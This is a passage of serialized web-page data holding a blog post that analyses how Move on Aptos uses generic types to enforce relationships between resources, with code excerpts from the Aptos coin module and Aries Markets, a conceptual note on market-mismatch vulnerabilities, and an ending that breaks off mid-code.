}," // ...\n",{"type":22,"tag":101,"props":10399,"children":10400},{"class":103,"line":997},[10401],{"type":22,"tag":101,"props":10402,"children":10403},{"emptyLinePlaceholder":15},[10404],{"type":27,"value":1581},{"type":22,"tag":101,"props":10406,"children":10407},{"class":103,"line":1032},[10408,10413,10417,10422,10426,10431,10435,10439,10444,10448,10452,10456,10460,10465,10470],{"type":22,"tag":101,"props":10409,"children":10410},{"style":108},[10411],{"type":27,"value":10412}," let",{"type":22,"tag":101,"props":10414,"children":10415},{"style":120},[10416],{"type":27,"value":3603},{"type":22,"tag":101,"props":10418,"children":10419},{"style":126},[10420],{"type":27,"value":10421},"x_reserve_size",{"type":22,"tag":101,"props":10423,"children":10424},{"style":120},[10425],{"type":27,"value":758},{"type":22,"tag":101,"props":10427,"children":10428},{"style":126},[10429],{"type":27,"value":10430},"y_reserve_size",{"type":22,"tag":101,"props":10432,"children":10433},{"style":120},[10434],{"type":27,"value":901},{"type":22,"tag":101,"props":10436,"children":10437},{"style":166},[10438],{"type":27,"value":1511},{"type":22,"tag":101,"props":10440,"children":10441},{"style":126},[10442],{"type":27,"value":10443}," get_reserves_size",{"type":22,"tag":101,"props":10445,"children":10446},{"style":120},[10447],{"type":27,"value":123},{"type":22,"tag":101,"props":10449,"children":10450},{"style":114},[10451],{"type":27,"value":10165},{"type":22,"tag":101,"props":10453,"children":10454},{"style":120},[10455],{"type":27,"value":758},{"type":22,"tag":101,"props":10457,"children":10458},{"style":114},[10459],{"type":27,"value":10194},{"type":22,"tag":101,"props":10461,"children":10462},{"style":120},[10463],{"type":27,"value":10464},", LP>(",{"type":22,"tag":101,"props":10466,"children":10467},{"style":126},[10468],{"type":27,"value":10469},"pool_addr",{"type":22,"tag":101,"props":10471,"children":10472},{"style":120},[10473],{"type":27,"value":994},{"type":22,"tag":23,"props":10475,"children":10476},{},[10477,10479,10485,10486,10493],{"type":27,"value":10478},"As an aside, this generic type information is implemented at runtime in the ",{"type":22,"tag":30,"props":10480,"children":10482},{"className":10481},[],[10483],{"type":27,"value":10484},"ty_args",{"type":27,"value":2169},{"type":22,"tag":80,"props":10487,"children":10490},{"href":10488,"rel":10489},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[84],[10491],{"type":27,"value":10492},"at the vm level",{"type":27,"value":10494},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":22,"tag":23,"props":10496,"children":10497},{},[10498,10500,10506,10508,10514,10516,10522,10523,10529],{"type":27,"value":10499},"In pseucode, this checks that ",{"type":22,"tag":30,"props":10501,"children":10503},{"className":10502},[],[10504],{"type":27,"value":10505},"coin_x.type",{"type":27,"value":10507}," is equal to ",{"type":22,"tag":30,"props":10509,"children":10511},{"className":10510},[],[10512],{"type":27,"value":10513},"pool.x_type",{"type":27,"value":10515},", and ",{"type":22,"tag":30,"props":10517,"children":10519},{"className":10518},[],[10520],{"type":27,"value":10521},"coin_y.type",{"type":27,"value":10507},{"type":22,"tag":30,"props":10524,"children":10526},{"className":10525},[],[10527],{"type":27,"value":10528},"pool.y_type",{"type":27,"value":231},{"type":22,"tag":23,"props":10531,"children":10532},{},[10533],{"type":27,"value":10534},"This type system has two advantages",{"type":22,"tag":6828,"props":10536,"children":10537},{},[10538,10550],{"type":22,"tag":6832,"props":10539,"children":10540},{},[10541,10543,10548],{"type":27,"value":10542},"It's required. The type parameter ",{"type":22,"tag":6961,"props":10544,"children":10545},{},[10546],{"type":27,"value":10547},"must",{"type":27,"value":10549}," be specified so it's impossible to forget such a constraint",{"type":22,"tag":6832,"props":10551,"children":10552},{},[10553],{"type":27,"value":10554},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":22,"tag":23,"props":10556,"children":10557},{},[10558],{"type":27,"value":10559},"However, this system isn't perfect.",{"type":22,"tag":23,"props":10561,"children":10562},{},[10563,10565,10570],{"type":27,"value":10564},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":22,"tag":9370,"props":10566,"children":10567},{},[10568],{"type":27,"value":10569},"an anti-pattern",{"type":27,"value":231},{"type":22,"tag":23,"props":10572,"children":10573},{},[10574,10576,10582],{"type":27,"value":10575},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":22,"tag":30,"props":10577,"children":10579},{"className":10578},[],[10580],{"type":27,"value":10581},"CoinInfo\u003CCoinType>",{"type":27,"value":231},{"type":22,"tag":91,"props":10584,"children":10586},{"className":93,"code":10585,"language":95,"meta":7,"style":7}," fun initialize_internal\u003CCoinType>(\n // ...\n ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n // ...\n\n assert!(\n !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n );\n",[10587],{"type":22,"tag":30,"props":10588,"children":10589},{"__ignoreMap":7},[10590,10615,10623,10691,10698,10705,10717,10759,10781],{"type":22,"tag":101,"props":10591,"children":10592},{"class":103,"line":104},[10593,10598,10603,10607,10611],{"type":22,"tag":101,"props":10594,"children":10595},{"style":126},[10596],{"type":27,"value":10597}," fun",{"type":22,"tag":101,"props":10599,"children":10600},{"style":126},[10601],{"type":27,"value":10602}," initialize_internal",{"type":22,"tag":101,"props":10604,"children":10605},{"style":120},[10606],{"type":27,"value":123},{"type":22,"tag":101,"props":10608,"children":10609},{"style":114},[10610],{"type":27,"value":199},{"type":22,"tag":101,"props":10612,"children":10613},{"style":120},[10614],{"type":27,"value":853},{"type":22,"tag":101,"props":10616,"children":10617},{"class":103,"line":157},[10618],{"type":22,"tag":101,"props":10619,"children":10620},{"style":2215},[10621],{"type":27,"value":10622}," // ...\n",{"type":22,"tag":101,"props":10624,"children":10625},{"class":103,"line":182},[10626,10631,10635,10639,10644,10648,10652,10656,10661,10665,10669,10673,10678,10682,10686],{"type":22,"tag":101,"props":10627,"children":10628},{"style":120},[10629],{"type":27,"value":10630}," )",{"type":22,"tag":101,"props":10632,"children":10633},{"style":166},[10634],{"type":27,"value":169},{"type":22,"tag":101,"props":10636,"children":10637},{"style":120},[10638],{"type":27,"value":3603},{"type":22,"tag":101,"props":10640,"children":10641},{"style":114},[10642],{"type":27,"value":10643},"BurnCapability",{"type":22,"tag":101,"props":10645,"children":10646},{"style":120},[10647],{"type":27,"value":123},{"type":22,"tag":101,"props":10649,"children":10650},{"style":114},[10651],{"type":27,"value":199},{"type":22,"tag":101,"props":10653,"children":10654},{"style":120},[10655],{"type":27,"value":5555},{"type":22,"tag":101,"props":10657,"children":10658},{"style":114},[10659],{"type":27,"value":10660},"FreezeCapability",{"type":22,"tag":101,"props":10662,"children":10663},{"style":120},[10664],{"type":27,"value":123},{"type":22,"tag":101,"props":10666,"children":10667},{"style":114},[10668],{"type":27,"value":199},{"type":22,"tag":101,"props":10670,"children":10671},{"style":120},[10672],{"type":27,"value":5555},{"type":22,"tag":101,"props":10674,"children":10675},{"style":114},[10676],{"type":27,"value":10677},"MintCapability",{"type":22,"tag":101,"props":10679,"children":10680},{"style":120},[10681],{"type":27,"value":123},{"type":22,"tag":101,"props":10683,"children":10684},{"style":114},[10685],{"type":27,"value":199},{"type":22,"tag":101,"props":10687,"children":10688},{"style":120},[10689],{"type":27,"value":10690},">) {\n",{"type":22,"tag":101,"props":10692,"children":10693},{"class":103,"line":367},[10694],{"type":22,"tag":101,"props":10695,"children":10696},{"style":2215},[10697],{"type":27,"value":10622},{"type":22,"tag":101,"props":10699,"children":10700},{"class":103,"line":398},[10701],{"type":22,"tag":101,"props":10702,"children":10703},{"emptyLinePlaceholder":15},[10704],{"type":27,"value":1581},{"type":22,"tag":101,"props":10706,"children":10707},{"class":103,"line":428},[10708,10713],{"type":22,"tag":101,"props":10709,"children":10710},{"style":926},[10711],{"type":27,"value":10712}," assert!",{"type":22,"tag":101,"props":10714,"children":10715},{"style":120},[10716],{"type":27,"value":1850},{"type":22,"tag":101,"props":10718,"children":10719},{"class":103,"line":997},[10720,10725,10729,10733,10737,10741,10745,10750,10755],{"type":22,"tag":101,"props":10721,"children":10722},{"style":166},[10723],{"type":27,"value":10724}," !",{"type":22,"tag":101,"props":10726,"children":10727},{"style":126},[10728],{"type":27,"value":4216},{"type":22,"tag":101,"props":10730,"children":10731},{"style":120},[10732],{"type":27,"value":123},{"type":22,"tag":101,"props":10734,"children":10735},{"style":114},[10736],{"type":27,"value":6146},{"type":22,"tag":101,"props":10738,"children":10739},{"style":120},[10740],{"type":27,"value":123},{"type":22,"tag":101,"props":10742,"children":10743},{"style":114},[10744],{"type":27,"value":199},{"type":22,"tag":101,"props":10746,"children":10747},{"style":120},[10748],{"type":27,"value":10749},">>(",{"type":22,"tag":101,"props":10751,"children":10752},{"style":126},[10753],{"type":27,"value":10754},"account_addr",{"type":22,"tag":101,"props":10756,"children":10757},{"style":120},[10758],{"type":27,"value":1706},{"type":22,"tag":101,"props":10760,"children":10761},{"class":103,"line":1032},[10762,10767,10771,10776],{"type":22,"tag":101,"props":10763,"children":10764},{"style":120},[10765],{"type":27,"value":10766}," error",{"type":22,"tag":101,"props":10768,"children":10769},{"style":166},[10770],{"type":27,"value":970},{"type":22,"tag":101,"props":10772,"children":10773},{"style":926},[10774],{"type":27,"value":10775},"already_exists",{"type":22,"tag":101,"props":10777,"children":10778},{"style":120},[10779],{"type":27,"value":10780},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":22,"tag":101,"props":10782,"children":10783},{"class":103,"line":1063},[10784],{"type":22,"tag":101,"props":10785,"children":10786},{"style":120},[10787],{"type":27,"value":10788}," );\n",{"type":22,"tag":23,"props":10790,"children":10791},{},[10792,10794,10799],{"type":27,"value":10793},"While this ",{"type":22,"tag":30,"props":10795,"children":10797},{"className":10796},[],[10798],{"type":27,"value":6146},{"type":27,"value":10800}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":22,"tag":23,"props":10802,"children":10803},{},[10804,10806,10813],{"type":27,"value":10805},"Similarly, consider ",{"type":22,"tag":80,"props":10807,"children":10810},{"href":10808,"rel":10809},"https://ariesmarkets.xyz/",[84],[10811],{"type":27,"value":10812},"Aries Markets",{"type":27,"value":10814},", a lending/borrowing protocol building on Aptos.",{"type":22,"tag":23,"props":10816,"children":10817},{},[10818,10820,10826],{"type":27,"value":10819},"Their ",{"type":22,"tag":30,"props":10821,"children":10823},{"className":10822},[],[10824],{"type":27,"value":10825},"ReserveCoinContainer",{"type":27,"value":10827}," struct stores all the relevant data and resources for managing a lending market.",{"type":22,"tag":91,"props":10829,"children":10831},{"className":93,"code":10830,"language":95,"meta":7,"style":7}," /// The struct to hold all the underlying `Coin`s.\n /// Stored as a resources.\n struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n /// Stores the available `Coin`.\n underlying_coin: Coin\u003CCoin0>,\n /// Stores the LP `Coin` that act as collateral.\n collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n /// Mint capability for LP Coin.\n mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n /// Burn capability for LP Coin.\n burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n // ...\n }\n\n",[10832],{"type":22,"tag":30,"props":10833,"children":10834},{"__ignoreMap":7},[10835,10843,10851,10892,10900,10929,10937,10974,10982,11019,11027,11064,11071,11078],{"type":22,"tag":101,"props":10836,"children":10837},{"class":103,"line":104},[10838],{"type":22,"tag":101,"props":10839,"children":10840},{"style":2215},[10841],{"type":27,"value":10842}," /// The struct to hold all the underlying `Coin`s.\n",{"type":22,"tag":101,"props":10844,"children":10845},{"class":103,"line":157},[10846],{"type":22,"tag":101,"props":10847,"children":10848},{"style":2215},[10849],{"type":27,"value":10850}," /// Stored as a resources.\n",{"type":22,"tag":101,"props":10852,"children":10853},{"class":103,"line":182},[10854,10858,10863,10867,10871,10876,10880,10884,10888],{"type":22,"tag":101,"props":10855,"children":10856},{"style":108},[10857],{"type":27,"value":9840},{"type":22,"tag":101,"props":10859,"children":10860},{"style":114},[10861],{"type":27,"value":10862}," ReserveCoinContainer",{"type":22,"tag":101,"props":10864,"children":10865},{"style":120},[10866],{"type":27,"value":123},{"type":22,"tag":101,"props":10868,"children":10869},{"style":126},[10870],{"type":27,"value":129},{"type":22,"tag":101,"props":10872,"children":10873},{"style":114},[10874],{"type":27,"value":10875}," Coin0",{"type":22,"tag":101,"props":10877,"children":10878},{"style":120},[10879],{"type":27,"value":139},{"type":22,"tag":101,"props":10881,"children":10882},{"style":126},[10883],{"type":27,"value":144},{"type":22,"tag":101,"props":10885,"children":10886},{"style":126},[10887],{"type":27,"value":310},{"type":22,"tag":101,"props":10889,"children":10890},{"style":120},[10891],{"type":27,"value":154},{"type":22,"tag":101,"props":10893,"children":10894},{"class":103,"line":367},[10895],{"type":22,"tag":101,"props":10896,"children":10897},{"style":2215},[10898],{"type":27,"value":10899}," /// Stores the available `Coin`.\n",{"type":22,"tag":101,"props":10901,"children":10902},{"class":103,"line":398},[10903,10908,10912,10916,10920,10925],{"type":22,"tag":101,"props":10904,"children":10905},{"style":126},[10906],{"type":27,"value":10907}," underlying_coin",{"type":22,"tag":101,"props":10909,"children":10910},{"style":166},[10911],{"type":27,"value":169},{"type":22,"tag":101,"props":10913,"children":10914},{"style":114},[10915],{"type":27,"value":117},{"type":22,"tag":101,"props":10917,"children":10918},{"style":120},[10919],{"type":27,"value":123},{"type":22,"tag":101,"props":10921,"children":10922},{"style":114},[10923],{"type":27,"value":10924},"Coin0",{"type":22,"tag":101,"props":10926,"children":10927},{"style":120},[10928],{"type":27,"value":343},{"type":22,"tag":101,"props":10930,"children":10931},{"class":103,"line":428},[10932],{"type":22,"tag":101,"props":10933,"children":10934},{"style":2215},[10935],{"type":27,"value":10936}," /// Stores the LP `Coin` that act as collateral.\n",{"type":22,"tag":101,"props":10938,"children":10939},{"class":103,"line":997},[10940,10945,10949,10953,10957,10961,10965,10969],{"type":22,"tag":101,"props":10941,"children":10942},{"style":126},[10943],{"type":27,"value":10944}," collateralised_lp_coin",{"type":22,"tag":101,"props":10946,"children":10947},{"style":166},[10948],{"type":27,"value":169},{"type":22,"tag":101,"props":10950,"children":10951},{"style":114},[10952],{"type":27,"value":117},{"type":22,"tag":101,"props":10954,"children":10955},{"style":120},[10956],{"type":27,"value":123},{"type":22,"tag":101,"props":10958,"children":10959},{"style":114},[10960],{"type":27,"value":10364},{"type":22,"tag":101,"props":10962,"children":10963},{"style":120},[10964],{"type":27,"value":123},{"type":22,"tag":101,"props":10966,"children":10967},{"style":114},[10968],{"type":27,"value":10924},{"type":22,"tag":101,"props":10970,"children":10971},{"style":120},[10972],{"type":27,"value":10973},">>,\n",{"type":22,"tag":101,"props":10975,"children":10976},{"class":103,"line":1032},[10977],{"type":22,"tag":101,"props":10978,"children":10979},{"style":2215},[10980],{"type":27,"value":10981}," /// Mint capability for LP Coin.\n",{"type":22,"tag":101,"props":10983,"children":10984},{"class":103,"line":1063},[10985,10990,10994,10999,11003,11007,11011,11015],{"type":22,"tag":101,"props":10986,"children":10987},{"style":126},[10988],{"type":27,"value":10989}," mint_capability",{"type":22,"tag":101,"props":10991,"children":10992},{"style":166},[10993],{"type":27,"value":169},{"type":22,"tag":101,"props":10995,"children":10996},{"style":114},[10997],{"type":27,"value":10998}," MintCapability",{"type":22,"tag":101,"props":11000,"children":11001},{"style":120},[11002],{"type":27,"value":123},{"type":22,"tag":101,"props":11004,"children":11005},{"style":114},[11006],{"type":27,"value":10364},{"type":22,"tag":101,"props":11008,"children":11009},{"style":120},[11010],{"type":27,"value":123},{"type":22,"tag":101,"props":11012,"children":11013},{"style":114},[11014],{"type":27,"value":10924},{"type":22,"tag":101,"props":11016,"children":11017},{"style":120},[11018],{"type":27,"value":10973},{"type":22,"tag":101,"props":11020,"children":11021},{"class":103,"line":1071},[11022],{"type":22,"tag":101,"props":11023,"children":11024},{"style":2215},[11025],{"type":27,"value":11026}," /// Burn capability for LP Coin.\n",{"type":22,"tag":101,"props":11028,"children":11029},{"class":103,"line":1110},[11030,11035,11039,11044,11048,11052,11056,11060],{"type":22,"tag":101,"props":11031,"children":11032},{"style":126},[11033],{"type":27,"value":11034}," burn_capability",{"type":22,"tag":101,"props":11036,"children":11037},{"style":166},[11038],{"type":27,"value":169},{"type":22,"tag":101,"props":11040,"children":11041},{"style":114},[11042],{"type":27,"value":11043}," BurnCapability",{"type":22,"tag":101,"props":11045,"children":11046},{"style":120},[11047],{"type":27,"value":123},{"type":22,"tag":101,"props":11049,"children":11050},{"style":114},[11051],{"type":27,"value":10364},{"type":22,"tag":101,"props":11053,"children":11054},{"style":120},[11055],{"type":27,"value":123},{"type":22,"tag":101,"props":11057,"children":11058},{"style":114},[11059],{"type":27,"value":10924},{"type":22,"tag":101,"props":11061,"children":11062},{"style":120},[11063],{"type":27,"value":10973},{"type":22,"tag":101,"props":11065,"children":11066},{"class":103,"line":1118},[11067],{"type":22,"tag":101,"props":11068,"children":11069},{"emptyLinePlaceholder":15},[11070],{"type":27,"value":1581},{"type":22,"tag":101,"props":11072,"children":11073},{"class":103,"line":1158},[11074],{"type":22,"tag":101,"props":11075,"children":11076},{"style":2215},[11077],{"type":27,"value":10622},{"type":22,"tag":101,"props":11079,"children":11080},{"class":103,"line":1166},[11081],{"type":22,"tag":101,"props":11082,"children":11083},{"style":120},[11084],{"type":27,"value":9908},{"type":22,"tag":23,"props":11086,"children":11087},{},[11088,11090,11095],{"type":27,"value":11089},"When creating a ",{"type":22,"tag":30,"props":11091,"children":11093},{"className":11092},[],[11094],{"type":27,"value":10825},{"type":27,"value":11096},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":22,"tag":91,"props":11098,"children":11100},{"className":93,"code":11099,"language":95,"meta":7,"style":7}," public(friend) fun create\u003CCoin0>(\n lp_store: &signer,\n // ...\n ) acquires Reserves {\n lp::assert_is_lp_store(signer::address_of(lp_store));\n\n // ...\n\n move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n // ...\n });\n",[11101],{"type":22,"tag":30,"props":11102,"children":11103},{"__ignoreMap":7},[11104,11145,11169,11176,11197,11239,11246,11253,11260,11296,11303],{"type":22,"tag":101,"props":11105,"children":11106},{"class":103,"line":104},[11107,11112,11116,11120,11124,11128,11133,11137,11141],{"type":22,"tag":101,"props":11108,"children":11109},{"style":926},[11110],{"type":27,"value":11111}," public",{"type":22,"tag":101,"props":11113,"children":11114},{"style":120},[11115],{"type":27,"value":980},{"type":22,"tag":101,"props":11117,"children":11118},{"style":126},[11119],{"type":27,"value":2839},{"type":22,"tag":101,"props":11121,"children":11122},{"style":120},[11123],{"type":27,"value":901},{"type":22,"tag":101,"props":11125,"children":11126},{"style":126},[11127],{"type":27,"value":2848},{"type":22,"tag":101,"props":11129,"children":11130},{"style":126},[11131],{"type":27,"value":11132}," create",{"type":22,"tag":101,"props":11134,"children":11135},{"style":120},[11136],{"type":27,"value":123},{"type":22,"tag":101,"props":11138,"children":11139},{"style":114},[11140],{"type":27,"value":10924},{"type":22,"tag":101,"props":11142,"children":11143},{"style":120},[11144],{"type":27,"value":853},{"type":22,"tag":101,"props":11146,"children":11147},{"class":103,"line":157},[11148,11153,11157,11161,11165],{"type":22,"tag":101,"props":11149,"children":11150},{"style":126},[11151],{"type":27,"value":11152}," lp_store",{"type":22,"tag":101,"props":11154,"children":11155},{"style":166},[11156],{"type":27,"value":169},{"type":22,"tag":101,"props":11158,"children":11159},{"style":166},[11160],{"type":27,"value":870},{"type":22,"tag":101,"props":11162,"children":11163},{"style":126},[11164],{"type":27,"value":875},{"type":22,"tag":101,"props":11166,"children":11167},{"style":120},[11168],{"type":27,"value":179},{"type":22,"tag":101,"props":11170,"children":11171},{"class":103,"line":182},[11172],{"type":22,"tag":101,"props":11173,"children":11174},{"style":2215},[11175],{"type":27,"value":10622},{"type":22,"tag":101,"props":11177,"children":11178},{"class":103,"line":367},[11179,11184,11188,11193],{"type":22,"tag":101,"props":11180,"children":11181},{"style":120},[11182],{"type":27,"value":11183}," ) ",{"type":22,"tag":101,"props":11185,"children":11186},{"style":126},[11187],{"type":27,"value":906},{"type":22,"tag":101,"props":11189,"children":11190},{"style":114},[11191],{"type":27,"value":11192}," Reserves",{"type":22,"tag":101,"props":11194,"children":11195},{"style":120},[11196],{"type":27,"value":154},{"type":22,"tag":101,"props":11198,"children":11199},{"class":103,"line":398},[11200,11205,11209,11214,11218,11222,11226,11230,11235],{"type":22,"tag":101,"props":11201,"children":11202},{"style":120},[11203],{"type":27,"value":11204}," lp",{"type":22,"tag":101,"props":11206,"children":11207},{"style":166},[11208],{"type":27,"value":970},{"type":22,"tag":101,"props":11210,"children":11211},{"style":926},[11212],{"type":27,"value":11213},"assert_is_lp_store",{"type":22,"tag":101,"props":11215,"children":11216},{"style":120},[11217],{"type":27,"value":1949},{"type":22,"tag":101,"props":11219,"children":11220},{"style":166},[11221],{"type":27,"value":970},{"type":22,"tag":101,"props":11223,"children":11224},{"style":926},[11225],{"type":27,"value":1958},{"type":22,"tag":101,"props":11227,"children":11228},{"style":120},[11229],{"type":27,"value":980},{"type":22,"tag":101,"props":11231,"children":11232},{"style":126},[11233],{"type":27,"value":11234},"lp_store",{"type":22,"tag":101,"props":11236,"children":11237},{"style":120},[11238],{"type":27,"value":3950},{"type":22,"tag":101,"props":11240,"children":11241},{"class":103,"line":428},[11242],{"type":22,"tag":101,"props":11243,"children":11244},{"emptyLinePlaceholder":15},[11245],{"type":27,"value":1581},{"type":22,"tag":101,"props":11247,"children":11248},{"class":103,"line":997},[11249],{"type":22,"tag":101,"props":11250,"children":11251},{"style":2215},[11252],{"type":27,"value":10622},{"type":22,"tag":101,"props":11254,"children":11255},{"class":103,"line":1032},[11256],{"type":22,"tag":101,"props":11257,"children":11258},{"emptyLinePlaceholder":15},[11259],{"type":27,"value":1581},{"type":22,"tag":101,"props":11261,"children":11262},{"class":103,"line":1063},[11263,11268,11272,11276,11280,11284,11288,11292],{"type":22,"tag":101,"props":11264,"children":11265},{"style":926},[11266],{"type":27,"value":11267}," move_to",{"type":22,"tag":101,"props":11269,"children":11270},{"style":120},[11271],{"type":27,"value":980},{"type":22,"tag":101,"props":11273,"children":11274},{"style":126},[11275],{"type":27,"value":11234},{"type":22,"tag":101,"props":11277,"children":11278},{"style":120},[11279],{"type":27,"value":758},{"type":22,"tag":101,"props":11281,"children":11282},{"style":114},[11283],{"type":27,"value":10825},{"type":22,"tag":101,"props":11285,"children":11286},{"style":120},[11287],{"type":27,"value":123},{"type":22,"tag":101,"props":11289,"children":11290},{"style":114},[11291],{"type":27,"value":10924},{"type":22,"tag":101,"props":11293,"children":11294},{"style":120},[11295],{"type":27,"value":2282},{"type":22,"tag":101,"props":11297,"children":11298},{"class":103,"line":1071},[11299],{"type":22,"tag":101,"props":11300,"children":11301},{"style":2215},[11302],{"type":27,"value":10206},{"type":22,"tag":101,"props":11304,"children":11305},{"class":103,"line":1110},[11306],{"type":22,"tag":101,"props":11307,"children":11308},{"style":120},[11309],{"type":27,"value":11310}," });\n",{"type":22,"tag":23,"props":11312,"children":11313},{},[11314],{"type":27,"value":11315},"In both these instances, type association only works because we create exactly one instance per type.",{"type":22,"tag":23,"props":11317,"children":11318},{},[11319,11321,11327,11329,11335,11337,11342],{"type":27,"value":11320},"On the other hand, consider if you have a ",{"type":22,"tag":30,"props":11322,"children":11324},{"className":11323},[],[11325],{"type":27,"value":11326},"Position\u003CT>",{"type":27,"value":11328}," and a ",{"type":22,"tag":30,"props":11330,"children":11332},{"className":11331},[],[11333],{"type":27,"value":11334},"Market\u003CT>",{"type":27,"value":11336}," where ",{"type":22,"tag":30,"props":11338,"children":11340},{"className":11339},[],[11341],{"type":27,"value":840},{"type":27,"value":11343}," is the coin type.",{"type":22,"tag":91,"props":11345,"children":11347},{"className":93,"code":11346,"language":95,"meta":7,"style":7}," struct Market\u003Cphantom T> {\n reserves: Coin\u003CT>,\n // ...\n }\n\n struct Position\u003Cphantom T> {\n amount: u64,\n // ...\n }\n",[11348],{"type":22,"tag":30,"props":11349,"children":11350},{"__ignoreMap":7},[11351,11379,11407,11414,11421,11428,11456,11475,11482],{"type":22,"tag":101,"props":11352,"children":11353},{"class":103,"line":104},[11354,11358,11363,11367,11371,11375],{"type":22,"tag":101,"props":11355,"children":11356},{"style":108},[11357],{"type":27,"value":10084},{"type":22,"tag":101,"props":11359,"children":11360},{"style":114},[11361],{"type":27,"value":11362}," Market",{"type":22,"tag":101,"props":11364,"children":11365},{"style":120},[11366],{"type":27,"value":123},{"type":22,"tag":101,"props":11368,"children":11369},{"style":126},[11370],{"type":27,"value":129},{"type":22,"tag":101,"props":11372,"children":11373},{"style":114},[11374],{"type":27,"value":9954},{"type":22,"tag":101,"props":11376,"children":11377},{"style":120},[11378],{"type":27,"value":2282},{"type":22,"tag":101,"props":11380,"children":11381},{"class":103,"line":157},[11382,11387,11391,11395,11399,11403],{"type":22,"tag":101,"props":11383,"children":11384},{"style":126},[11385],{"type":27,"value":11386}," reserves",{"type":22,"tag":101,"props":11388,"children":11389},{"style":166},[11390],{"type":27,"value":169},{"type":22,"tag":101,"props":11392,"children":11393},{"style":114},[11394],{"type":27,"value":117},{"type":22,"tag":101,"props":11396,"children":11397},{"style":120},[11398],{"type":27,"value":123},{"type":22,"tag":101,"props":11400,"children":11401},{"style":114},[11402],{"type":27,"value":840},{"type":22,"tag":101,"props":11404,"children":11405},{"style":120},[11406],{"type":27,"value":343},{"type":22,"tag":101,"props":11408,"children":11409},{"class":103,"line":182},[11410],{"type":22,"tag":101,"props":11411,"children":11412},{"style":2215},[11413],{"type":27,"value":10206},{"type":22,"tag":101,"props":11415,"children":11416},{"class":103,"line":367},[11417],{"type":22,"tag":101,"props":11418,"children":11419},{"style":120},[11420],{"type":27,"value":1734},{"type":22,"tag":101,"props":11422,"children":11423},{"class":103,"line":398},[11424],{"type":22,"tag":101,"props":11425,"children":11426},{"emptyLinePlaceholder":15},[11427],{"type":27,"value":1581},{"type":22,"tag":101,"props":11429,"children":11430},{"class":103,"line":428},[11431,11435,11440,11444,11448,11452],{"type":22,"tag":101,"props":11432,"children":11433},{"style":108},[11434],{"type":27,"value":10084},{"type":22,"tag":101,"props":11436,"children":11437},{"style":114},[11438],{"type":27,"value":11439}," Position",{"type":22,"tag":101,"props":11441,"children":11442},{"style":120},[11443],{"type":27,"value":123},{"type":22,"tag":101,"props":11445,"children":11446},{"style":126},[11447],{"type":27,"value":129},{"type":22,"tag":101,"props":11449,"children":11450},{"style":114},[11451],{"type":27,"value":9954},{"type":22,"tag":101,"props":11453,"children":11454},{"style":120},[11455],{"type":27,"value":2282},{"type":22,"tag":101,"props":11457,"children":11458},{"class":103,"line":997},[11459,11463,11467,11471],{"type":22,"tag":101,"props":11460,"children":11461},{"style":126},[11462],{"type":27,"value":1714},{"type":22,"tag":101,"props":11464,"children":11465},{"style":166},[11466],{"type":27,"value":169},{"type":22,"tag":101,"props":11468,"children":11469},{"style":114},[11470],{"type":27,"value":174},{"type":22,"tag":101,"props":11472,"children":11473},{"style":120},[11474],{"type":27,"value":179},{"type":22,"tag":101,"props":11476,"children":11477},{"class":103,"line":1032},[11478],{"type":22,"tag":101,"props":11479,"children":11480},{"style":2215},[11481],{"type":27,"value":10206},{"type":22,"tag":101,"props":11483,"children":11484},{"class":103,"line":1063},[11485],{"type":22,"tag":101,"props":11486,"children":11487},{"style":120},[11488],{"type":27,"value":1734},{"type":22,"tag":23,"props":11490,"children":11491},{},[11492,11494,11499,11501,11506],{"type":27,"value":11493},"If ",{"type":22,"tag":30,"props":11495,"children":11497},{"className":11496},[],[11498],{"type":27,"value":11334},{"type":27,"value":11500}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":22,"tag":30,"props":11502,"children":11504},{"className":11503},[],[11505],{"type":27,"value":840},{"type":27,"value":11507}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":22,"tag":23,"props":11509,"children":11510},{},[11511],{"type":27,"value":11512},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":22,"tag":91,"props":11514,"children":11516},{"className":93,"code":11515,"language":95,"meta":7,"style":7}," /// Get the price of the token per lamport.\n public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n let oracle = borrow_global_mut\u003COracle>(@oracle);\n let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n &mut oracle.prices,\n type_info,\n decimal::one()\n );\n *price\n }\n",[11517],{"type":22,"tag":30,"props":11518,"children":11519},{"__ignoreMap":7},[11520,11528,11589,11636,11688,11713,11725,11747,11754,11767],{"type":22,"tag":101,"props":11521,"children":11522},{"class":103,"line":104},[11523],{"type":22,"tag":101,"props":11524,"children":11525},{"style":2215},[11526],{"type":27,"value":11527}," /// Get the price of the token per lamport.\n",{"type":22,"tag":101,"props":11529,"children":11530},{"class":103,"line":157},[11531,11536,11540,11545,11549,11554,11558,11563,11567,11571,11576,11580,11585],{"type":22,"tag":101,"props":11532,"children":11533},{"style":126},[11534],{"type":27,"value":11535}," public",{"type":22,"tag":101,"props":11537,"children":11538},{"style":126},[11539],{"type":27,"value":826},{"type":22,"tag":101,"props":11541,"children":11542},{"style":926},[11543],{"type":27,"value":11544}," 